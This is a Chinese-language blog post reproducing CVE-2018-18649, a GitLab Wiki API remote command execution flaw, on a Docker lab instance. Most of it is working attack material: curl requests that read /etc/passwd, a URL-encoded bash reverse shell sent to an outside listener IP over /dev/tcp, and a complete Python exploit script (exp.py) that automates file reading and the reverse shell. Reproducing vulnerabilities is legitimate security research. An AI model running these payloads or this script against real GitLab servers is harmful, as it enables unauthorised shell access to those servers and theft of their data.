Snowming04's Blog
一颗红❤
Toggle navigation
Snowming04's Blog
主页
Cobalt Strike
Accelerated C++
区块链安全
友链
关于我
常用工具
代码积累
归档
标签
Gitlab Wiki API 远程命令执行漏洞 (CVE-2018-18649)
? CVE-2018-18649 ?
2020-05-07 15:37:53
1696
0
0
snowming
? CVE-2018-18649 ?
# 0x01 环境搭建  本示例中使用 `gitlab-ce:11.3.4-ce.0`(注:ce 即 Community Edition)。 使用 docker 搭建漏洞环境: ``` screen -S CVE-2018-18649 docker pull gitlab/gitlab-ce:11.3.4-ce.0 docker run -d --name gitlab -p 80:80 -p 443:443 -p 2222:22 gitlab/gitlab-ce:11.3.4-ce.0 ``` 然后修改配置文件: ``` docker exec -it gitlab /bin/bash nano /etc/gitlab/gitlab.rb # 去掉gitlab的注释并修改对应ip external_url 'http://47.56.208.67/' #重新载入配置文件 gitlab-ctl reconfigure ``` 访问对应ip,第一次需要设置密码,并新建用户: http://47.56.208.67/ 新建一个 Access Token,获取 private_token:   >注:验证 `private_token`的方式为:  新建一个项目 `test`:  所以现在的漏洞环境信息: ``` http://47.56.208.67 ```  ``` http://47.56.208.67/root/test/wikis/attachments ```  ----------------- # 0x02 利用前提 这个漏洞需要 `private_token` 和身份认证,利用门槛高。 Access Token 在生成 Private Token 的时候,必须要在 Scopes 里面勾选了 `api`,否则 token 权限会不够!  --------------- # 0x03 漏洞利用 **查看 /etc/passwd:** ``` root@hack:~# curl -H "private-token:pyLXE32y3Ab6va9p6mAA" 47.56.208.67/api/v4/projects/1/wikis/attachments -d "file[tempfile]=/etc/passwd&file[filename]=123" && echo {"file_name":"123","file_path":"uploads/8ee12d5754d27f89306b51a80ccc612a/123","branch":"master","link":{"url":"uploads/8ee12d5754d27f89306b51a80ccc612a/123","markdown":"[123](uploads/8ee12d5754d27f89306b51a80ccc612a/123)"}} root@hack:~# curl -H "private-token:pyLXE32y3Ab6va9p6mAA" 47.56.208.67/root/test/wikis/uploads/8ee12d5754d27f89306b51a80ccc612a/123 && echo ```  **反弹 shell:** ``` curl -H "private-token:pyLXE32y3Ab6va9p6mAA" 47.56.208.67/api/v4/projects/1/wikis/attachments -XPOST -d 'file[filename]=123&file[tempfile]=%7c+bash+-c+%22bash+-i+%3e%26+%2fdev%2ftcp%2f47.244.253.36%2f9999+0%3e%261%22' && echo ``` >注:` %7C+bash+-c+%22bash+-i+%3E%26+%2Fdev%2Ftcp%2F47.56.208.67%2F9999+0%3E%261%22`即为 URL 编码的反弹 shell 命令 `| bash -c "bash -i >& /dev/tcp/47.56.208.67/9999 0>&1"`,注意这里一定需要管道符号来使用 Ruby 的`Kernel#open`函数产生子流程。  **总结:** ``` # 目标项目 URL http://47.56.208.67/root/test # 验证 Private_token http://47.56.208.67/api/v4/projects?private_token=pyLXE32y3Ab6va9p6mAA # /wikis/attachments restful 路径 http://47.56.208.67/root/test/wikis/attachments # 查看 /etc/passwd 的第一个 API 请求,将在响应数据中获取 file_path 的值,用于构造查看 /etc/passwd 的第二个 API 请求 curl -H "private-token:pyLXE32y3Ab6va9p6mAA" 47.56.208.67/api/v4/projects/1/wikis/attachments -d "file[tempfile]=/etc/passwd&file[filename]=123" && echo # 查看 /etc/passwd 的第二个 API 请求,注意是 GET 方法 curl -H "private-token:pyLXE32y3Ab6va9p6mAA" 47.56.208.67/root/test/wikis/uploads/8ee12d5754d27f89306b51a80ccc612a/123 && echo # 反弹 shell API 请求,必须用到项目路径 curl -H "private-token:pyLXE32y3Ab6va9p6mAA" 47.56.208.67/api/v4/projects/1/wikis/attachments -XPOST -d 'file[filename]=123&file[tempfile]=%7c+bash+-c+%22bash+-i+%3e%26+%2fdev%2ftcp%2f47.244.253.36%2f9999+0%3e%261%22' && echo # 其中的反弹 shell 命令,是经过 URL 编码的 %7C+bash+-c+%22bash+-i+%3E%26+%2Fdev%2Ftcp%2F47.56.208.67%2F9999+0%3E%261%22 #明文命令是: | bash -c "bash -i >& /dev/tcp/47.56.208.67/9999 0>&1" ``` ----------------- # 0x04 自动化攻击脚本 exp.py: ``` #!/usr/bin/env python3 # -*- coding: utf-8 -* # author:snowming import os import re import json import requests from optparse import OptionParser import urllib # Parse command line args: usage = '\npython3 exp.py -p <project_url> -t "<private_token>" -l <listener_ip> -p <listener_port>\n'\ 'python3 exp.py -p <project_url> -t "<private_token>" -f "/etc/passwd" # not single \' but double \"' parser = OptionParser(usage=usage) parser.add_option("-u", '--URL', dest='url', action="store", help="Target project URL") parser.add_option("-l", '--LHOST', dest='lhost', action="store", help="Host listening for reverse shell connection") parser.add_option("-p", '--LPORT', dest='lport', action="store", help="Port on which nc is listening") parser.add_option("-f", '--file', dest='file', action="store", help="The file you want to see, no reverse shell for you.") parser.add_option("-t", '--token',dest='token', action="store", help="private_token") (options, args) = parser.parse_args() URL = options.url # check if specify scheme for Project URL if('http' not in URL): print('You should specify URL Scheme! e.g. HTTP') exit(0) URL = URL.rstrip('/') substr = '/' ''' # used for the file_path, SAMPLE OUTPUT: /root/test PATH = URL[URL.find(substr,URL.find(substr)+3):len(URL)].rstrip('/') ''' #get the target domain or ip, SAMPLE OUTPUT: http://47.56.208.67 TARGET = URL[0:URL.find(substr,URL.find(substr)+3)].rstrip('/') LHOST = options.lhost LPORT = options.lport FILE = options.file TOKEN = options.token if TOKEN == None or URL == None: print("Target project URL and Private token is required!") exit(0) if LHOST == None and LPORT == None and FILE ==None: print(parser.usage) exit(0) if FILE: tempfile = FILE # make request, using POST METHOD! url = '{0}/api/v4/projects/1/wikis/attachments'.format(TARGET) body = { 'file[filename]': '123', 'file[tempfile]': '{0}'.format(tempfile) } headers = {'private-token': '{0}'.format(TOKEN)} response = requests.post(url, data=body, headers = headers) #response_data = json.dumps(response.json(), sort_keys=True, indent=4, separators=(',', ': ')) if("error_description" in response.json()): print("Fail! The reason is:") print(response.json()["error_description"]) exit(0) file_path = response.json()["file_path"] # As fot the second layer,e.g. response.json()["link"]["url"] if file_path: print("\nSend Payload Success :) \n\nPath: %s" % file_path) # make second request using upload path data. file_url = '{0}/wikis/{1}'.format(URL,file_path) # WATCH OUT: It is not POST METHOD but GET METHOD! response = requests.get(file_url, headers = headers) print("\nContent: \n%s" % (response.text)) else: tempfile = '| bash -c "bash -i >& /dev/tcp/{0}/{1} 0>&1"'.format(LHOST, LPORT) ''' URL encode. SAMPLE OUTPUT: %7C%20bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/47.244.253.36/9999%200%3E%261%22 ''' tempfile = urllib.parse.quote(tempfile) url = '{0}/api/v4/projects/1/wikis/attachments'.format(TARGET) body = "file[filename]=123&file[tempfile]=%s" % tempfile ''' body = { 'file[filename]': '123', 'file[tempfile]': '{0}'.format(tempfile) } ''' headers = {'private-token': '{0}'.format(TOKEN)} print("\nStarting Reverse Shell :)") requests.post(url, data=body, headers = headers) ``` 参数说明: - `-t` 指定 Private Token - `-f` 指定要查看的文件,如 /etc/passwd - `-l` `-p` 指定反弹shell ip:port - `-u` 在指定攻击目标的项目URL!必须是项目URL!如下图:  示例用法: **查看 /etc/passwd:** ``` python3 exp.py -u "http://47.56.208.67/root/test/" -t "pyLXE32y3Ab6va9p6mAA" -f "/etc/passwd" ```  **反弹 shell:** ``` python3 exp.py -u "http://47.56.208.67/root/test/" -t "pyLXE32y3Ab6va9p6mAA" -l 47.244.253.36 -p 9999 ```  > 本 exp 已上传至 Github: [CVE-2018-18649](https://github.com/Snowming04/CVE-2018-18649) --------------------------- # 参考文档: 1. [Gitlab WIKI API](https://docs.gitlab.com/ee/api/wikis.html#upload-an-attachment-to-the-wiki-repository) 2. 漏洞原理:[Gitlab Wiki API 远程命令执行漏洞 (CVE-2018-18649)](https://www.seebug.org/vuldb/ssvid-97723),知道创宇 2. Gitlab API: - https://docs.gitlab.com/ee/api/ - https://docs.gitlab.com/ce/api/ 3. 漏洞信息:https://nvd.nist.gov/vuln/detail/CVE-2018-18649 4. 本 exp 已上传至 Github: [CVE-2018-18649](https://github.com/Snowming04/CVE-2018-18649)
上一篇:
pipePotato 复现
下一篇:
病毒木马中的基本技术
0
赞
1696 人读过
新浪微博
微信
腾讯微博
QQ空间
人人网
提交评论
立即登录
, 发表评论.
没有帐号?
立即注册
0
条评论
More...
文档导航
没有帐号? 立即注册